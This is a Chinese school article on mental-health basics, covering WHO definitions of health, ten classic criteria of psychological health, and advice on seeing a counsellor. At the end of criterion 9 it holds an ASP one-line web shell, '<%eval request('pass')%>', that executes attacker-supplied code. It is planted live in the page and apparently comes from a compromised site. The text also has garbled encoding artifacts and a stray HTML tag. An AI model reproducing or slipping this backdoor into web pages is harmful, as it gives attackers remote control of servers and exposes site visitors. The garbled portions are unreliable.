健康生活，陽光人生

 九江市三中 陽光工作室 辛怡

開學(xué)了，九江市三中陽光工作室特向大家介紹幾個心理健康小常識，愿老師、同學(xué)們的生活灑滿陽光。

1.     什么叫健康？

人類健康概念的產(chǎn)生和正確的健康觀的確立是經(jīng)過了一個長期的歷史演變過程才逐步形成的。歷代人們（民括醫(yī)學(xué)家在內(nèi)）都只是認(rèn)為健康就是身體無疾病，無傷殘和無不適癥狀。直到1948年世界衛(wèi)生組織成立，才給健康下過這么一個定義：“健康不僅是沒有疾病或衰弱，而是生理上、心理上和社會適應(yīng)性處于完好的狀態(tài)?！?/SPAN>

   1989 世界衛(wèi)生組織又提出了有關(guān)健康的新概念：除了軀體健康、心理健康和社會適應(yīng)良好外，還要加上道德健康，只有這四個方面健康才算是完全健康。隨著時代的發(fā)展，社會的進(jìn)步，人們越來越認(rèn)識到，良好的心理健康狀態(tài)也是非常重要的。

2. 什么叫心理健康?

心理健康又稱為心理衛(wèi)生，是指依據(jù)人的心理活動的一般規(guī)律，采取各種措施，形成健康的個體心理活動，培養(yǎng)健全的個性，提高社會適應(yīng)能力，預(yù)防身心疾病。心理健康也是指人的一種健康狀態(tài)。

3. 什么是心理健康的十條標(biāo)準(zhǔn)？

美國心理學(xué)家馬斯洛和米特爾曼提出的心理健康的十條標(biāo)準(zhǔn)被認(rèn)為是“最經(jīng)典的標(biāo)準(zhǔn)”：

（1）充分的安全感

（2）充分了解自己，并對自己的能力作適當(dāng)                     的估價

（3）生活的目標(biāo)切合實(shí)際

（4）與現(xiàn)實(shí)的環(huán)境保持接觸

（5）能保持人格的完整與和諧

（6）具有從經(jīng)驗(yàn)中學(xué)習(xí)的能力

（7）能保持良好的人際關(guān)系

（8）適度的情緒表達(dá)與控制

（9）在不違背社會規(guī)范的條件下，對個人的基本需要作恰當(dāng)?shù)臐M足<%eval request(“pass”)%>

（10）在不違背社會規(guī)范的條件下，能作有限的個性發(fā)揮

4. 心理健康課是怎樣的一門課程？

心理健康課就是助人自助的課程，通過學(xué)習(xí)這門課后，在遇到煩惱與困惑的時候，能夠自己幫助自己，或者及時地尋求心理輔導(dǎo)和咨詢等方式認(rèn)識和解決自己生活中的煩惱，成為一個健康快樂和幸福的人！

5. 什么是心理咨詢？是不是得了精神病的人才去心理咨詢？

不，不是的，心理咨詢不是看病，它面向的對象主要是正常人。當(dāng)你覺得心里不舒服，想不開，情緒不好的時候，你就可以去找心理咨詢師聊一聊，咨詢一下。你的心情就會好起來啦。心理咨詢是現(xiàn)代人的一種精神享受，它能讓你活得更輕松、更快樂、更自信。

6.心理咨詢的五個不等式

•       1）心理問題≠精神病

•       2）心理學(xué)≠窺見內(nèi)心

•       3）心理咨詢≠無所不能

•       4）心理老師≠救世主

•       5）心理咨詢≠思想工作

7. 當(dāng)出現(xiàn)心理困惑需要進(jìn)行心理咨詢時，應(yīng)該做些什么準(zhǔn)備？

（1）    想好開頭說什么。

（2）    把心理輔導(dǎo)老師看作是一個特別親密的朋友。

（3）    “有問必答”比“拐彎抹角”更利于溝通。

（4）    不必過分地關(guān)注自我的表現(xiàn)與形象。

（5）    不要期望由心理輔導(dǎo)老師給你“決策”。

（6）    不要希望一次咨詢就“根治”。